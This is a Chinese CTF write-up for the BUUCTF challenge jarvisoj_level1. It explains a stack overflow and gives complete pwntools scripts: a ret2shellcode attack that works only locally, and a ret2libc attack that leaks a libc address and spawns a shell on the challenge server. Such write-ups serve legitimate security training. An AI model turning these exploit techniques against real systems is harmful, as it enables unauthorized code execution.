题目简介
BUUCTF第2页的题,原题链接:BUUCTF原题:jarvisoj_level1
这道题思路不难,但非常有误导性,乍一看是ret2shellcode的题,但是本地和远程的输入输出交互完全不同,导致能在本地打通的方法在远程无效
漏洞点分析
首先checksec看到保护全关:

之后查看IDA的反编译结果,找到在vulnerable_function的read操作时会发生溢出:

同时注意到在函数的开头会泄露buf变量的地址,因此漏洞点为借助buf基址计算返回地址,最后劫持到shellcode
漏洞点利用
根据IDA反编译结果可以得知Offset=0x88+0x4
因此写出如下的ret2shellcode脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(os="linux",arch="x86",log_level="debug") targetELF="./pwn" elf=ELF(targetELF) ioTube=process(targetELF)
offset=0x88+0x4 shellcode=asm(shellcraft.sh())
startAddr=elf.symbols["_start"]
ioTube.recvuntil("What's this:0x") bufStart=int(ioTube.recvuntil('?')[:-1].decode(),16) returnAddr=bufStart payload=shellcode+b'1'*(offset-len(shellcode))+p32(returnAddr)
ioTube.recvline() ioTube.send(payload) ioTube.interactive()
|
但是,这道题特别坑,上述脚本可以在本地打通但无法打通远程,通过nc命令,和本地运行程序对比,可以看到输入输出行为完全不一致:

可以看到远程输出时不会在一开始泄露buf地址,因此无法使用ret2shellcode的方式;
遇到这种情况,可以考虑ret2libc的方法
ret2libc关键是泄露地址,观察IDA反汇编的函数表,看到原程序存在write系统调用,因此采用write函数泄露__libc_start_main的地址
(注意:不能采用printf函数泄露地址,因为不好构造含有%s的格式化字符串;程序自身带的%p不能使用,因为%p只能打印出got表的地址,而不是其指向的__libc_start_main地址)
综上,写出最终的利用脚本如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * from LibcSearcher import * context(os="linux",arch="x86") context.terminal=["tmux","splitw","-h"] targetELF="./pwn" localLibc=ELF("/lib/i386-linux-gnu/libc.so.6") elf=ELF(targetELF)
offset=0x88+0x4 pltAddr=elf.plt["write"] leakFuncName="__libc_start_main" gotAddr=elf.got[leakFuncName] startAddr=elf.symbols["vulnerable_function"] payload1=b'a'*offset+p32(pltAddr)+p32(startAddr)+p32(1)+p32(gotAddr)+p32(4)
def RemoteAttack(): ioTube=remote("node5.buuoj.cn",28073) ioTube.sendline(payload1) response=ioTube.recv(4)
realAddr=u32(response) print("泄露真实地址={}\n".format(hex(realAddr)))
remoteLibc=LibcSearcher(leakFuncName,realAddr) libcBase=realAddr-remoteLibc.dump(leakFuncName) print("泄露得到真实地址={},libc基址={}\n".format(hex(realAddr),hex(libcBase))) sysAddr=libcBase+remoteLibc.dump("system") binshAddr=libcBase+remoteLibc.dump("str_bin_sh")
payload2=b'1'*offset+p32(sysAddr)+p32(0)+p32(binshAddr) ioTube.sendline(payload2) ioTube.interactive()
RemoteAttack()
|
最后一点值得注意的是,实际打远程时LibcSearcher会搜索到多个版本的libc
目前没有什么好的办法直接得知选哪个,本人是一个一个尝试,最后发现1号libc是和服务器对应的版本,如图所示:
